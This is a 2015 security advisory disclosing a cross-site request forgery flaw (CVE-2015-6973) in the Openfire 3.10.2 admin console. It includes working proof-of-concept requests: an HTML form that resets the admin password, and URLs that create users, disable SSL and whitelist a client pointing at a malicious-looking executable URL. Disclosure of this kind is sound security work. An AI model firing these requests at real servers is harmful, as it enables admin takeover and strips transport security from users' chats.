[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-CSRF.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open Source Apache License. 
It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber).


Vulnerability Type:
=================================
Cross site request forgery (CSRF)



CVE Reference:
==============
CVE-2015-6973






Vulnerability Details:
=====================
No CSRF tokens exists allowing us to take malicious actions against the application.

1- change admin password.

2- add aribitrary users to the system

3- edit server settings e.g. turn off SSL.

4- Add rogue malicious clients with permit access (Allow all XMPP clients to connect) 

and more...



Exploit code(s):
===============

1) change admin password

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

<form id="HELL" action="http://localhost:9090/user-password.jsp" method="post">
<input type="text" name="username" value="admin" >
<input type="text" name="password" value="abc123">
<input type="text" name="passwordConfirm" value="abc123" >
<input type="password" name="update" value="Update+Password" >
</form>


2) add aribitrary users 
http://localhost:9090/user-create.jsp?username=hyp3rlinx&name=hyp3rlinx&email=blasphemer@abyss.com&password=abc123&passwordConfirm=abc123&create=Create+User


3) edit server settings & turn off SSL
http://localhost:9090/server-props.jsp?serverName=myserver&sslEnabled=false&save=Save+Properties


4) add rogue malicious clients
http://localhost:9090/plugins/clientcontrol/permitted-clients.jsp?all=false&other=http%3A//maliciouso.com/666.exe&addOther=Add



Disclosure Timeline:
=========================================================
Vendor Notification:  NA
Sept 14, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+]  POST & GET


Vulnerable Product:             [+]  Openfire 3.10.2 


Vulnerable Parameter(s):        [+]  update, create, sslEnabled, other


Affected Area(s):               [+]  Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx